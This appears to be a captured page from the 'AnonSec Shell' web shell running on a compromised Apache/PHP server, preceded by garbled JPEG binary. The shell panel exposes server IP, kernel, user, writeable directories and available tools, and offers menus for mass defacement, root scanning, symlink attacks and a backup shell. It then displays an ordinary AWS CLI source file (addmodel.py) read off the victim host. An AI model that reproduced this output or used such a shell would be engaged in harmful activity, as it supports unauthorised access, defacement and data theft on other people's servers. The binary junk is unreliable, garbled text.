JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/site-packages/awscli/customizations/configure/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python2.7/site-packages/awscli/customizations/configure/addmodel.py
# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
#     http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompanying this file. This file is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
# ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
import json
import os

from botocore.model import ServiceModel

from awscli.customizations.commands import BasicCommand


def _get_endpoint_prefix_to_name_mappings(session):
    # Get the mappings of endpoint prefixes to service names from the
    # available service models.
    prefixes_to_services = {}
    for service_name in session.get_available_services():
        service_model = session.get_service_model(service_name)
        prefixes_to_services[service_model.endpoint_prefix] = service_name
    return prefixes_to_services


def _get_service_name(session, endpoint_prefix):
    if endpoint_prefix in session.get_available_services():
        # Check if the endpoint prefix is a pre-existing service.
        # If it is, use that endpoint prefix as the service name.
        return endpoint_prefix
    else:
        # The service may have a different endpoint prefix than its name
        # So we need to determine what the correct mapping may be.

        # Figure out the mappings of endpoint prefix to service names.
        name_mappings = _get_endpoint_prefix_to_name_mappings(session)
        # Determine the service name from the mapping.
        # If it does not exist in the mapping, return the original endpoint
        # prefix.
        return name_mappings.get(endpoint_prefix, endpoint_prefix)


def get_model_location(session, service_definition, service_name=None):
    """Gets the path of where a service-2.json file should go in ~/.aws/models

    :type session: botocore.session.Session
    :param session: A session object

    :type service_definition: dict
    :param service_definition: The json loaded service definition

    :type service_name: str
    :param service_name: The service name to use. If this not provided,
        this will be determined from a combination of available services
        and the service definition.

    :returns: The path to where are model should be placed based on
        the service defintion and the current services in botocore.
    """
    # Add the ServiceModel abstraction over the service json definition to
    # make it easier to work with.
    service_model = ServiceModel(service_definition)

    # Determine the service_name if not provided
    if service_name is None:
        endpoint_prefix = service_model.endpoint_prefix
        service_name = _get_service_name(session, endpoint_prefix)
    api_version = service_model.api_version

    # For the model location we only want the custom data path (~/.aws/models
    # not the one set by AWS_DATA_PATH)
    data_path = session.get_component('data_loader').CUSTOMER_DATA_PATH
    # Use the version of the model to determine the file's naming convention.
    service_model_name = (
        'service-%d.json' % int(
            float(service_definition.get('version', '2.0'))))
    return os.path.join(data_path, service_name, api_version,
        service_model_name)


class AddModelCommand(BasicCommand):
    NAME = 'add-model'
    DESCRIPTION = (
        'Adds a service JSON model to the appropriate location in '
        '~/.aws/models. Once the model gets added, CLI commands and Boto3 '
        'clients will be immediately available for the service JSON model '
        'provided.'
    )
    ARG_TABLE = [
        {'name': 'service-model', 'required': True, 'help_text': (
            'The contents of the service JSON model.')},
        {'name': 'service-name', 'help_text': (
            'Overrides the default name used by the service JSON '
            'model to generate CLI service commands and Boto3 clients.')}
    ]

    def _run_main(self, parsed_args, parsed_globals):
        service_definition = json.loads(parsed_args.service_model)

        # Get the path to where the model should be written
        model_location = get_model_location(
            self._session, service_definition, parsed_args.service_name
        )

        # If the service_name/api_version directories do not exist,
        # then create them.
        model_directory = os.path.dirname(model_location)
        if not os.path.exists(model_directory):
            os.makedirs(model_directory)

        # Write the model to the specified location
        with open(model_location, 'wb') as f:
            f.write(parsed_args.service_model.encode('utf-8'))

        return 0

Anon7 - 2022
AnonSec Team